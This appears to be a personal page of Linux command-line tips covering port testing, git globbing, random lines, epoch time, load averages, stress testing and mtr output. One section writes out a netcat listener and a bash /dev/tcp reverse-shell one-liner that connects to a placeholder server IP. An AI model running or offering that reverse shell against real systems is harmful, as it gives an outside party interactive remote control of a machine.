Linux CLI Tricks¶

Send a String to an IP/Port¶

telnet 127.0.0.1 80

(echo hello; sleep 1) | telnet 127.0.0.1 80

echo hello > /dev/tcp/127.0.0.1/80

echo hello | nc localhost 80

Reverse Shell¶

# server
nc -knvlp 3389

# client
bash -i >& /dev/tcp/server_ip/3389 0>&1

Target Everything but One File¶

git add !(unit.md)

Print a Random Line from a File¶

sed "$(( $RANDOM % $(cat readme.txt | wc -l) ))q;d" readme.txt

shuf readme.txt | head -1

Epoch Seconds¶

From bash 5.

$ echo $EPOCHREALTIME
1614870873.574544

$ echo $EPOCHSECONDS
1614870876

Uptime¶

The three load average values are 1, 5 and 15 minutes.

$ uptime
15:29:28 up 20:23, 0 users, load average: 5.08, 1.49, 0.51

Stress¶

Stress your system in different ways.

$ stress --cpu 8

Number of Processors¶

$ make -j $(nproc)

Synonyms for Localhost¶

localhost
127.0.0.1
127.0.0.2
127.0.0.3
127.1
0.0.0.0
0 # wut

Move a File Out of the Way¶

mv {,_}.bash_history

Verbose Time¶

$ /usr/bin/time -v ls /
bin dev home lib lib64 lost+found mnt proc run snap sys usr
boot etc init lib32 libx32 media opt root sbin srv tmp var
Command being timed: "ls /"
User time (seconds): 0.00
System time (seconds): 0.00
Percent of CPU this job got: 100%
Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.00
Average shared text size (kbytes): 0
Average unshared data size (kbytes): 0
Average stack size (kbytes): 0
Average total size (kbytes): 0
Maximum resident set size (kbytes): 2412
Average resident set size (kbytes): 0
Major (requiring I/O) page faults: 0
Minor (reclaiming a frame) page faults: 126
Voluntary context switches: 1
Involuntary context switches: 0
Swaps: 0
File system inputs: 0
File system outputs: 0
Socket messages sent: 0
Socket messages received: 0
Signals delivered: 0
Page size (bytes): 4096
Exit status: 0

Vendor IDs¶

View the latest on ieee.org.

To install on Ubuntu:

sudo apt install --yes arp-scan
get-oui

Pushd Equivalent¶

I use this all the time. Rather than pushd and popd to navigate around the file system:

# Navigate to new dir
cd ~/deanturpin.gitlab.io/content/post

# Return whence you came
cd -

Last Argument¶

I've used esc shift - to get the last argument from the previous command for a long time. But it's a little unwieldy and you can do the same with alt ..

MTR: "My Traceroute"¶

Like tracepath/route but cooler.

My traceroute [v0.93]
BootCamp-0263E (172.25.71.53) 2021-04-10T13:22:42+0100
Keys: Help Display mode Restart statistics Order of fields quit
Packets Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. BootCamp-0263E.7thsensedesign.local 0.0% 37 0.6 0.7 0.2 3.5 0.5
2. 192.168.0.1 97.2% 37 5.6 5.6 5.6 5.6 0.0
3. (waiting for reply)
4. brig-core-2b-xe-810-0.network.virginmedia.net 0.0% 37 11.6 15.1 11.1 32.4 4.6
5. (waiting for reply)
6. eislou2-ic-3-ae0-0.network.virginmedia.net 0.0% 37 22.1 26.5 20.0 51.8 7.5
7. 72.14.221.42 0.0% 37 22.7 25.1 20.4 46.0 5.4
8. 108.170.246.161 0.0% 37 19.2 23.4 18.7 39.5 5.0
9. 108.170.246.175 63.9% 37 23.3 28.1 22.9 45.5 6.6
10. 216.239.58.179 63.9% 37 22.2 29.2 22.2 62.7 10.7
11. 142.250.210.20 0.0% 37 101.4 104.0 98.5 111.8 3.4
12. 142.250.210.24 66.7% 37 115.7 114.8 110.2 123.0 3.3
13. 209.85.247.212 66.7% 37 115.7 114.9 108.7 131.7 6.5
14. 209.85.241.205 66.7% 37 111.9 116.2 111.2 129.3 5.0
15. (waiting for reply)
16. (waiting for reply)
17. (waiting for reply)
18. (waiting for reply)
19. (waiting for reply)
20. (waiting for reply)
21. (waiting for reply)
22. (waiting for reply)
23. (waiting for reply)
24. 35.185.44.232 0.0% 36 110.9 113.7 108.8 132.4 5.5